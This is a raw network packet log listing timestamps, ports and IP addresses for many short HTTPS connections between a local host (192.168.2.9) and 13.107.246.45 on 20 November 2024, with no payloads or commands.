Nov 20, 2024 10:20:24.912684917 CET	443	49905	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:24.912750006 CET	49905	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:24.915179968 CET	49905	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:24.915205002 CET	443	49905	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:24.915220022 CET	49905	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:24.915225029 CET	443	49905	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:24.917814016 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:24.917854071 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:24.918124914 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:24.918266058 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:24.918278933 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.392293930 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.392781973 CET	49906	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.392805099 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.393238068 CET	49906	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.393243074 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.451170921 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.455513954 CET	49907	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.455543041 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.456125975 CET	49907	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.456132889 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.460316896 CET	443	49908	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.460836887 CET	49908	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.460860014 CET	443	49908	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.461407900 CET	49908	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.461412907 CET	443	49908	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.464092016 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.467168093 CET	49909	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.467192888 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.467617989 CET	49909	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.467622042 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.493964911 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.494204044 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.494252920 CET	49906	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.494429111 CET	49906	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.494452953 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.494467020 CET	49906	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.494472980 CET	443	49906	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.497142076 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.497180939 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.497292995 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.497431040 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.497442961 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.563386917 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.564161062 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.564183950 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.565077066 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.565083027 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.569382906 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.569405079 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.569446087 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.569502115 CET	49909	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.569861889 CET	49909	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.569881916 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.569892883 CET	49909	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.569897890 CET	443	49909	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.580315113 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.580368996 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.580441952 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.580765963 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.580776930 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.601691961 CET	443	49908	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.602341890 CET	443	49908	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.602408886 CET	49908	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.604872942 CET	49908	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.604892015 CET	443	49908	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.609728098 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.609776020 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.609873056 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.610105991 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.610117912 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.640403032 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.640438080 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.640486002 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.640491962 CET	49907	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.640526056 CET	49907	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.640856028 CET	49907	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.640876055 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.640887976 CET	49907	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.640892982 CET	443	49907	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.644100904 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.644143105 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.644222975 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.644376993 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.644386053 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.663136005 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.663208961 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.663319111 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.665088892 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.665107965 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.665127039 CET	49910	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.665132999 CET	443	49910	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.679352045 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.679374933 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:25.679639101 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.680437088 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:25.680449009 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.159456015 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.160010099 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.160037994 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.160490036 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.160495043 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.253863096 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.254997015 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.255019903 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.255419970 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.255424976 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.260693073 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.260786057 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.260833025 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.260869980 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.260920048 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.266825914 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.266845942 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.266858101 CET	49911	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.266864061 CET	443	49911	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.271430016 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.274538994 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.274569035 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.275032043 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.275038004 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.277389050 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.277432919 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.277561903 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.277702093 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.277712107 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.341114044 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.341578007 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.341590881 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.342067957 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.342072010 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.352559090 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.352982998 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.352999926 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.353441954 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.353446007 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.356035948 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.356182098 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.356280088 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.356314898 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.356327057 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.356338024 CET	49912	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.356343031 CET	443	49912	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.359165907 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.359198093 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.359270096 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.359395027 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.359404087 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.374260902 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.374706984 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.374751091 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.374881029 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.374881029 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.377839088 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.377840996 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.377840996 CET	49913	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.377866030 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.377868891 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.377882957 CET	443	49913	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.377978086 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.378114939 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.378122091 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.442965984 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.442990065 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.443062067 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.443291903 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.443479061 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.443497896 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.443507910 CET	49915	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.443512917 CET	443	49915	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.450579882 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.450623035 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.450711966 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.450881958 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.450891018 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.458909988 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.459336996 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.459450960 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.459673882 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.459696054 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.459712029 CET	49914	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.459717989 CET	443	49914	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.462271929 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.462311029 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.462398052 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.462533951 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.462543011 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.911479950 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.920106888 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.920129061 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.920840979 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.920845985 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.995385885 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:26.995975018 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:26.996006012 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.001318932 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.001339912 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.029719114 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.034029007 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.034059048 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.039510965 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.039551973 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.039647102 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.039675951 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.042201042 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.042278051 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.045020103 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.045038939 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.048543930 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.048568964 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.048600912 CET	49916	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.048608065 CET	443	49916	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.096236944 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.096347094 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.096398115 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.096455097 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.096499920 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.104382038 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.104432106 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.104525089 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.104644060 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.104687929 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.104707956 CET	49917	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.104716063 CET	443	49917	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.121151924 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.121189117 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.128403902 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.128452063 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.128539085 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.131840944 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.131860018 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.136044979 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.141778946 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.141809940 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.143151999 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.143162966 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.143368959 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.143661022 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.143671989 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.143918037 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.144118071 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.144171000 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.144279003 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.144282103 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.144537926 CET	49918	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.144551992 CET	443	49918	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.169740915 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.169802904 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.169868946 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.170160055 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.170172930 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.245248079 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.245346069 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.245399952 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.245404005 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.245457888 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.245764017 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.245785952 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.245799065 CET	49919	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.245805025 CET	443	49919	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.248569965 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.248636007 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.248683929 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.248876095 CET	49920	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.248893023 CET	443	49920	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.249326944 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.249370098 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.249445915 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.249588013 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.249598980 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.251935005 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.251977921 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.252041101 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.252196074 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.252207994 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.785621881 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.786346912 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.786361933 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.787046909 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.787050962 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.793447018 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.793989897 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.794018984 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.794454098 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.794461012 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.806406021 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.807914019 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.807948112 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.808394909 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.808401108 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.892082930 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.892244101 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.892303944 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.892725945 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.892745972 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.892757893 CET	49922	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.892762899 CET	443	49922	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.899141073 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.899333954 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.899359941 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.899374962 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.899410963 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.899427891 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.899471998 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.899519920 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.900082111 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.900098085 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.900110006 CET	49921	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.900115967 CET	443	49921	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.900549889 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.900561094 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.905184984 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.905225992 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.905291080 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.905946970 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.905970097 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.908334970 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.908531904 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.908575058 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.908575058 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.908631086 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.908765078 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.908771038 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.908778906 CET	49923	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.908782959 CET	443	49923	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.912954092 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.912992001 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.913067102 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.913317919 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.913330078 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.919656038 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.920068026 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.920094967 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.920536041 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.920550108 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.926898956 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.927369118 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.927376032 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:27.927838087 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:27.927845955 CET	443	49924	13.107.246.45	192.168.2.9
